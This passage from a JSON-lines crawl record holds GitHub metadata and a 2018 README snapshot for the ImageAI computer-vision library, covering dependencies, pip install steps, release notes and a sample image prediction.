License](LICENSE).\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"421A:3E1DA:172AAA:5C3C7E:6AB92050"},"text_sha256":"400af066fb880131fd6cab5bf6a80e385f344ef2456d708c4390d4db97af4ab9"}],"classification_rule_version":"semantic-conservative-2026-09-c1-c4-r2","classification":{"C1":0,"C2":0,"C3":0,"C4":0,"C5":0,"C6":0,"C7":0,"D1":0,"score":0,"D1_evidence":"","note":"Nenhuma evidência semântica suficiente encontrada nos documentos candidatos.","evidence":[]}}}
{"repository":"OlafenwaMoses/ImageAI","input_row":{"repository":"OlafenwaMoses/ImageAI","url":"https://github.com/OlafenwaMoses/ImageAI","name":"ImageAI","owner":"OlafenwaMoses","description":"A python library built to empower developers to build applications and systems with self-contained Computer Vision capabilities","language":"Python","license_spdx_id":"MIT","license_name":"MIT License","license_osi_approved":"true","stars":8889,"issues":747,"created_at":"2018-03-19T23:12:33Z","updated_at":"2026-09-26T01:00:57Z","first_commit_at":"2018-03-19T23:12:34Z","last_commit_at":"2024-02-20T22:38:05Z","activity_months":71.090000000000003,"ai_ml_match_topics":"artificial-intelligence; machine-learning; object-detection","has_pre_gdpr_activity":"true","has_post_gdpr_activity":"true"},"source_sha256":"30540b1c1bcd94f5b9afc0a77f92a103e83c7388aa09907a99e786e7ffc32a11","collector_protocol_version":"open-source-no-size-limit-expanded-topics-2026-09","observed_at":"2026-09-27T14:27:47.050Z","accessibility":{"http_status":200,"accessible":true,"metadata":{"full_name":"OlafenwaMoses/ImageAI","visibility":"public","created_at":"2018-03-19T23:12:33Z","updated_at":"2026-09-26T01:00:57Z","private":false,"fork":false,"archived":false,"stargazers_count":8889,"open_issues_count":321,"license_spdx_id":"MIT","license_name":"MIT License"},"error":"","rate":{"github_remaining":"3559","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"08B0:731F6:17D18EF:1BEF5E9:6AB927E3"}},"pre":{"until":"2018-05-24T23:59:59Z","commit_request_status":200,"commit_rate":{"github_remaining":"3558","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"0794:74C18:17E6D21:1C04BE4:6AB927E3"},"commit":{"sha":"49366d102a2cf96e4270be884c6d18eecfa8708a","url":"https://github.com/OlafenwaMoses/ImageAI/commit/49366d102a2cf96e4270be884c6d18eecfa8708a","date":"2018-05-24T23:58:17Z","author_date":"2018-05-24T23:58:17Z","committer_date":"2018-05-24T23:58:17Z","tree_sha":"a40b79216b55be683ac701e4bb79ed94a8b218ad","message_first_line":"Update CUSTOMPREDICTION.md"},"tree_request_status":200,"tree_rate":{"github_remaining":"3557","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"08BF:2D7D17:176300D:1B7EFBD:6AB927E3"},"tree_truncated":false,"document_candidates":[{"path":"README.md","size":18639,"blob_sha":"687073d32322e0555e5c9ba1a39be3ddb9ca0e0b","priority":0}],"documents":[{"path":"README.md","size":18639,"blob_sha":"687073d32322e0555e5c9ba1a39be3ddb9ca0e0b","priority":0,"status":200,"text":"# ImageAI
\nA python library built to empower developers to build applications and systems with self-contained Deep Learning and Computer Vision capabilities using simple\n and few lines of code.\n
\n\nBuilt with simplicity in mind, ImageAI<\/b> \n supports a list of state-of-the-art Machine Learning algorithms for image prediction, custom image prediction, object detection, video detection, video object tracking\n and image predictions trainings. ImageAI<\/b> currently supports image prediction and training using 4 different Machine Learning algorithms \n trained on the ImageNet-1000 dataset. ImageAI<\/b> also supports object detection, video detection and object tracking using RetinaNet trained on COCO dataset.
\n Eventually, ImageAI<\/b> will provide support for a wider\n and more specialized aspects of Computer Vision including and not limited to image \n recognition in special environments and special fields.\n\n
\n\nNew Release : ImageAI 2.0.1<\/b>\n
What's new:\n
\n- Addition of Custom Image Prediction model trainings using SqueezeNet, ResNet50, InceptionV3 and DenseNet121
\n- Addition of Custom Image Prediction with custom trained models and generated model class json
\n- Preview Release: Addition of Video Object Detection and Video Custom Objects Detection (object tracking)
\n- Addition of file, numpy array and stream input types for all image prediction and object detection tasks (file inputs only for video detections)
\n- Addition of file and numpy array output types for object detection and custom object detection in images
\n- Introduction of 4 speed modes ('normal', 'fast', 'faster' and 'fastest') for image prediction, allowing prediction time to reduce by 50% at 'fastest' while maintaining prediction accuracy
\n- Introduction of 5 speed modes ('normal', 'fast', 'faster', 'fastest' and 'flash') for all object detection and video object detection tasks, allowing detection time to reduce by over 80%
\nwith 'flash' detection accuracy balanced with 'minimum_percentage_probability' which is kept at low values
\n- Introduction of rate of frame detections, allowing developers to adjust intervals of detections in videos in favour of real time/close to real time result.
\n
\n\nTABLE OF CONTENTS<\/u><\/b><\/h3>\n▣ Dependencies<\/a>
\n▣ Installation<\/a>
\n▣ Image Prediction<\/a>
\n▣ Object Detection<\/a>
\n▣ Video Object Detection and Tracking<\/a>
\n▣ Custom Model Training<\/a>
\n▣ Custom Image Prediction<\/a>
\n▣ Sample Applications<\/a>
\n▣ AI Practice Recommendations<\/a>
\n▣ Contact Developers<\/a>
\n▣ References<\/a>
\n\n\n
\n\nDependencies<\/u><\/b><\/h3>\n To use ImageAI<\/b> in your application developments, you must have installed the following \n dependencies before you install ImageAI<\/b> : \n \n\n \n
\n - Python 3.5.1 (and later versions) <\/b> Download<\/a> (Support for Python 2.7 coming soon) <\/span>
\n - pip3 <\/b> Install<\/a><\/span>
\n - Tensorflow 1.4.0 (and later versions) <\/b> Install<\/a><\/span> or install via pip pip3 install --upgrade tensorflow <\/pre> \n - Numpy 1.13.1 (and later versions) <\/b> Install<\/a><\/span> or install via pip pip3 install numpy <\/pre> \n - SciPy 0.19.1 (and later versions) <\/b> Install<\/a><\/span> or install via pip pip3 install scipy <\/pre> \n - OpenCV <\/b> Install<\/a><\/span> or install via pip pip3 install opencv-python <\/pre> \n - Pillow <\/b> Install<\/a><\/span> or install via pip pip3 install pillow <\/pre> \n - Matplotlib <\/b> Install<\/a><\/span> or install via pip pip3 install matplotlib <\/pre> \n - h5py <\/b> Install<\/a><\/span> or install via pip pip3 install h5py <\/pre> \n - Keras 2.x <\/b> Install<\/a><\/span> or install via pip pip3 install keras <\/pre> \n\n
Installation<\/u><\/b><\/h3>\n To install ImageAI, run the python installation instruction below in the command line:
\n pip3 install https://github.com/OlafenwaMoses/ImageAI/releases/download/2.0.1/imageai-2.0.1-py3-none-any.whl <\/b><\/span>
\n \n or download the Python Wheel \n imageai-2.0.1-py3-none-any.whl<\/b><\/a> and run the python installation instruction in the command line\n to the path of the file like the one below:
\n pip3 install C:\\User\\MyUser\\Downloads\\imageai-2.0.1-py3-none-any.whl<\/b><\/span>
\n\nImage Prediction<\/u><\/b><\/h3>\nImageAI<\/b> provides 4 different algorithms and model types to perform image prediction, trained on the ImageNet-1000 dataset.\nThe 4 algorithms provided for image prediction include SqueezeNet<\/b>, ResNet<\/b>, InceptionV3<\/b> and DenseNet<\/b>. \nYou will find below the result of an example prediction using the ResNet50 model, and the 'Full Details & Documentation' link.\nClick the link to see the full sample codes, explainations, best practices guide and documentation.\n
![](\"images/1.jpg\")
\n convertible : 52.459555864334106\nsports_car : 37.61284649372101\npickup : 3.1751200556755066\ncar_wheel : 1.817505806684494\nminivan : 1.7487050965428352<\/pre>\n<\/p>\n\n